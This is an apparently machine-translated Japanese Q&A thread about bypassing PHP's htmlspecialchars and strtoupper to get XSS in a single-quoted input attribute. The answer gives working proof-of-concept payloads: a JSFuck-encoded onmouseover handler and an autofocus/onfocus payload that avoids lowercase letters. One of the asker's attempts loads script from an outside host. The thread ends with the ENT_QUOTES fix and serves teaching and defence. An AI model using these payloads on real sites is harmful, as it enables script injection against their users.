web-dev-qa-db-ja.com

XSSバイパスstrtoupperとhtmlspecialchars

私は少しテストを調べましたが、次のことはわからないです、私はそれを持っていると思いますが、それをトリガーすることができません!

以下をバイパスしようとしています:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

これまでのところ、私は試しました:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

これは、アラート機能が大文字に変更されているため機能せず、コンソールでエラーがスローされます。また、リクエストパラメータ全体をエンコードしてみました。

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

<>がエンコードされていても、&lt;として出力されるように見えるため、これは機能しないようです。と&gt;

多分攻撃だけは文字セットUTF-7ですか?

何か案は?

9
geekscrap

パラメータ$IDは、HTMLタグの属性値内に出力されます。残念ながら、それは htmlspecialchars() を介して実行され、HTMLの重要な文字をエンコードすることになっています。関数にはENT_QUOTESフラグが設定されていないため、<>&"はエスケープされますが、'はエスケープされません。 (一重引用符)。幸運なことに、値はそのような単一引用符で囲まれているため、'を使用して属性を抜け出すことができます。

次に、タグを閉じて新しいタグ(たとえば、<script>)を開始する必要がありますが、htmlspecialchars()では許可されません(>および<をエスケープするため) )。したがって、代わりに、<input>タグに対して機能するイベントハンドラーを使用する必要があります。 onloadイベントハンドラーは入力ボックスには適用されませんが、他のもの、たとえばonmouseoverを使用できます。 (副作用として、XSSをトリガーするために最小限のユーザー操作が必要になるか、追加の属性を利用する必要があります autofocus のように、ページの読み込み時にすぐにトリガーされます。)

だからこれがあります:

<input type = 'text' value = ''onmouseover ='(JavaScriptペイロード)'> 
 | -------------- $ ID ----------- 

alert(1)のようなプレーンなJSをペイロードとして使用することはできません。値は---(strtoupper() も通過するため、関数名がALERT(1)は無効です。代わりに、大文字のみ、またはそれ以上で、文字をまったく使用せずに機能するJSコードを見つける必要があります。そのためには、JSコードを文字のない同等の表現に変換する JSFuck のようなツールを使用できます。

たとえば、alert(1)は次のようになります。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

したがって、これは動作するXSS PoCになります。

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

JSFuckの使用が実用的でない場合(たとえば、@ chefarovが指摘したURLの長さの制限のため)、小文字を使用せずに機能する他の手法があります。たとえば、属性値を完全にHTMLエンティティとして配置して、aalert&#X61;として書き込むことができます。 (特定のシナリオでは、htmlspecialchars()&もエスケープするため、これを使用することはできません。)

ただし、ここでは小文字を回避する短いペイロードのPoCを示します。

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(私は基本的に小文字なしでFunction(eval(decodeURI(...)))をアセンブルしていて、小文字を必要としないURLエンコードされた実際のペイロード(例:a => %61)をフィードすることができます。)


修正

ENT_QUOTESフラグを追加して、二重引用符と単一引用符の両方をエンコードする必要があります。

 $ NEWID = strtoupper(htmlspecialchars($ ID、 ENT_QUOTES));
13
Arminius